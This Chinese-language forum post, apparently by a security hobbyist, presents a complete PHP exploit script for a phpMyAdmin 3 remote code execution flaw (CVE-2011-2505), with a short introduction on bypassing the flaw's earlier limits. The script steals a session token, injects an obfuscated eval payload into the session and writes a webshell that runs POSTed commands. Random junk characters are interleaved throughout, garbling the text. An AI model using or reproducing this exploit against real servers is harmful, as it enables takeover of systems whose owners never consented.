phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
  A0 Q! ^4 D9 l! p) e: N" f! w3 H
3 |4 K( x& o2 f$ R+ e: A" J. e  A昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
/ T2 t7 A, x0 S+ Q9 q7 a
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
2 p' H( i* u5 ]
1 T5 z  w. p+ d: Z6 k+ F于是写了这个php版本的exp，代码如下：

2 l; K# v7 T- G) |#!/usr/bin/php
<?php
print_r('
2 m9 w  o0 I/ ^  m+---------------------------------------------------------------------------+
. ?, ^3 y  r# D+ R( c, e7 hpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
% }4 N8 F" ^. f4 xmail: oldjun@gmail.com
4 F; r' W1 t' \. y- `" o& |Assigned CVE id: CVE-2011-2505
. {' [! B7 L4 O: t: O) P+---------------------------------------------------------------------------+
2 i; d' p! y0 I  D' Z');

/**
* working when the directory:"config" exists and is writeable.
/ U1 I" _5 c7 O" W0 }) P2 V+ [6 E* y**/
$ o# b* ~4 U. }
0 c: O. r- e! j# K) ]; Kif ($argc < 3) {
    print_r('
$ }0 u, {$ @  |, n+---------------------------------------------------------------------------+
2 t$ k# R7 i* Q3 \2 D4 c, Z  vUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
" C1 r) T" C* R0 q6 C- A5 P0 |php '.$argv[0].' localhost /pma/
7 x# O: E' N2 x, b8 P# ~+---------------------------------------------------------------------------+
');
    exit;
}

' w# F" j2 x% J) A$host = $argv[1];
9 l; Y) }1 v3 C! v, u$path = $argv[2];
& w8 P# T5 O- l- @5 O+ k, V
( O5 _$ r; D& g& \6 _/**
* Try to determine if the directory:"config" exists
* C# Z9 x( c6 h( H$ z; n**/
: }6 I0 D7 J: ~* Mecho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
. `$ H: {4 ^1 a& K# ]( Lif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
* I- [5 v( K& Q' M/ w+ X- K8 H6 H
/**
* Try to get token and sessionid
8 A" o+ F/ N7 G( P* J5 z( e**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
2 ^, e4 g2 A  Spreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
/ C9 p) K7 ~  M$token=$resp[3];
& q) N3 Y; `7 w0 S2 \$sessionid=$resp[1];
& ^- `* y' C) x" V" zif($token && $sessionid){
    echo "[+] tokentoken\n";
$ w5 J1 d. I2 J7 X0 ^    echo "[+] Session IDsessionid\n";
7 j- \$ [2 j& g9 Z1 W1 y5 N}else{
# O+ p8 L4 Z$ g2 s. d    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

/**
" {9 F* d% B" P' r6 T& n * Try to insert shell into session
+ B9 l* r5 c) `' p; U) L**/
% P" c+ X% U) Decho "[+] Try to insert shell into session....\n";
' M% g6 U0 M3 P" z9 J/ E  r' ?php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
0 V& D4 ?0 l" E: M
/**
* Try to create webshell
" s6 x; ?- J  O% v+ E) D**/
3 S/ y& l: }" J8 s2 recho "[+] Try to create webshell....\n";
- H$ E# \3 H0 w% s# ~) [php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
) F0 }* r! b3 d9 k0 z) b/**
* Try to check if the webshell was created successfully
**/
* R& z( Q, k. ^9 Y0 x! Gecho "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
8 I+ x$ s5 f9 @5 f- j) wif(strpos($content,'t00ls')){
' S1 O$ C+ k$ j/ w    echo "[+] Congratulations! Expoilt successfully....\n";
5 d$ g4 p( m. D3 ?' M4 v    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
  k$ J+ j8 b3 c( ]}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
! S' ~# R) R/ a# T( [! J8 i}

4 b/ {! ]  l, n. Sfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
5 p* J6 P: R( s) X   
$ I8 p0 y* M* ?' k, n& s3 v    $method=$data?'POST':'GET';
; E/ f7 w9 @3 R8 i" Y2 ]7 e   
' P6 I! ?' X3 R% w7 i6 |    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
$ l. p% [2 Z' r9 J- ?# y7 y3 f5 g    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
! ~9 y3 m! d, Q    $packet .= "Host: $host\r\n";
- F9 l) T7 r- K. w. w) g    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
8 P+ n9 U; ~, j* O    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

$ s: g8 N2 M; ]2 m" O    $fp = fsockopen(gethostbyname($host), 80);
/ N7 k1 b$ A8 \' n5 n    if (!$fp) {
1 J' Y: S( `) r/ a0 e; I% @- ]    echo 'No response from '.$host; die;
    }
% z4 @7 e6 }6 L$ ^$ M; E1 e    fputs($fp, $packet);

    $resp = '';
! x! \: ]( M- _7 f% p
    while ($fp && !feof($fp))
6 y! t4 X; n  x4 j: b        $resp .= fread($fp, 1024);

    return $resp;
}
1 i1 W* V, C- U+ q   
% K- M3 }% y( G7 U5 M8 k?>
( F+ L5 i' u& n.